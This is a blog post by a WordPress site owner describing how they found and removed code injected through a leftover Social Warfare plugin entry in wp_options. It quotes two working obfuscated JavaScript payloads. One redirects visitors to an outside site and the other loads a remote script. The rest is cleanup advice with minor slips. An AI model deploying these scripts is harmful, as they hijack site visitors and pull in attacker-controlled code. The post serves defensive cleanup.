Find and Remove Malicious Code (Hacked WP Plugin Scripts)
Earlier today I had notifications from Malcare that five of my sites had been hacked. As I dove in, I found two unique scripts had been inserted into these sites.
Malcare, String locator, and phpMyAdmin helped me successfully find and remove malicious code from five WordPress sites. Here’s how I did it.
Find Malicious Malware Code
We use three layers of security to keep our portfolio of sites safe.
We’ve been Malcare customers for many years. And about 5 years ago, we added Patchstack as an additional layer. And our host, WPEngine, also has a function to identify security risks with installed plugins.
It was the Malcare app that discovered this hack and notified me by email, twice.
In tracking this hack, I found that old plugins (that I uninstalled years ago) remained in the WordPress install. And it was one of these that created a security risk on my sites.
Social Warfare was the source of the hack, across all 5 sites.
Here is the code that showed up on two of my sites:
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 108, 108, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 101, 116, 102, 111, 114, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 119, 101, 110, 98, 51, 52, 104, 103, 113, 102, 99, 97, 53, 54, 55, 53, 54, 56, 57, 53, 55, 57, 46, 112, 104, 112, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 108, 108, 116, 32, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 32, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 59));</script>
And this code showed up on three sites. This was all in the same location (social_warfare inside of wp_options).
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>
To remove the hack, I deleted the six related tables generated by the Social Warfare plugin.
- social_warfare_settings
- widget_swp_popular_posts_widget
- social_warfare_dismissed_notices
- swp_json_cache
- socialWarfareOptions
- swp_registered_options
Locating the String of Malicious Code
When I searched for the code inside of phpMyAdmin, I was unable to locate it. Malcare was able to identify that it was in wp_options but that was all. I asked the tech support at WPEngine to locate it, and they were also unable. But they did recommend the plugin String locator – which worked great.
To find the location of the string, I used the String locator plugin and I searched in All database tables, with the search string >eval(
Of course, the search string will vary depending on the script that you’re looking for.
This brought up the single result.
4 Ways to Remove Malicious Code from WordPress
There are four ways to remove the problem code. These methods involve editing or deleting tables:
- Edit: You can manually edit the database entry by clicking on the link in the File/Table column. I don’t recommend this because there is the potential to really mess things up.
- Edit: You can copy the ID / Line number and look that up under phpMyAdmin (accessed via your host). In my search result, the line number was 193659, but yours will be different. When the corresponding line comes up, click Edit. You should be able to locate the script in the option_value. You can delete this from here, but I don’t recommend it. This is similar to option 1.
- Delete: Inside of phpMyAdmin, select the option_id that has the problem code. Then, click Delete. In my case, I searched again for social_warfare (and the variant swp), found five more line numbers, selected them both, and deleted them.
- Edit/Delete: Click Clean All Malware inside of Malware.com
Learn more about the WordPress wp_options table.
4 Things to Know When Editing wp_options
There are a couple of things you need to know before you start editing or deleting database entries.
- Make a full site backup before starting. My host WPEngine has that built-in function – running backups every 24 hours. And Malcare also takes a daily backup. This way, if my database editing goes wrong, I can restore the most recent version of my site.
- A note about Check All option in phpMyAdmin. Even if only two fields are showing, the Check All box will select every option_id, including those that aren’t visible on screen. This will do more than just break your site – it will delete the whole structure and it will need to be restored or rebuilt. Be careful inside of phpMyAdmin.
- Make sure that you don’t delete an option_id entry for a plugin that is fundamental to the function of your site. Deleting entries in phpMyAdmin can make a mess of your site.
- When searching the wp_options tables, the search function is lazy. To fix this, go to Number of Rows, select 500, then scroll to the bottom. Now return to the top, and the search feature will now find everything on that page.
After deleting the option_id (or the automated Malcare function), run the String locator query again. It should come back with this message: “Your search was completed, but no results were found.”
Keeping your Database Clean
As I started digging, I realized that there were too many option_id entries. This site was first started in 2018 and I’ve used many plugins over the years. And they are all resident in wp_options.
Here are some that I found for plugins and themes that I’m no longer using.
- Social Warfare: 6 option_id entries
- Yuzo: 7 option_id entries. This Reddit entry from 2019 addresses the same malicious code problem that I had, but with the Yuzo plugin hack.
- OptinMonster
- MonsterInsights
- Thesis Theme
- Updraft: 50+ option_id entries
- Jetpack
- WP SEO
- One Signal
- Genesis
- Yoast
- Ninja Tables
- Trellis Theme
- Pretty Links
- Ad Inserter
- EZ TOC
- Am Image Fixer
I’ve started deleting these tables, but it’s slow work. And we run a lot of sites.
While I understand why some developers leave residue behind (in case you want to reinstall and keep the settings), this is a poor practice. Every theme and plugin should have the option to fully remove each option_id from wp_options when it is deleted from the database.
Poor developer practices lead to hacks like this one. From a plugin that I stopped using years ago, but continued vulnerable to their bad coding.
Your Turn
Have you discovered a hack or another malicious code insertion? I would love to hear how the fix went for you.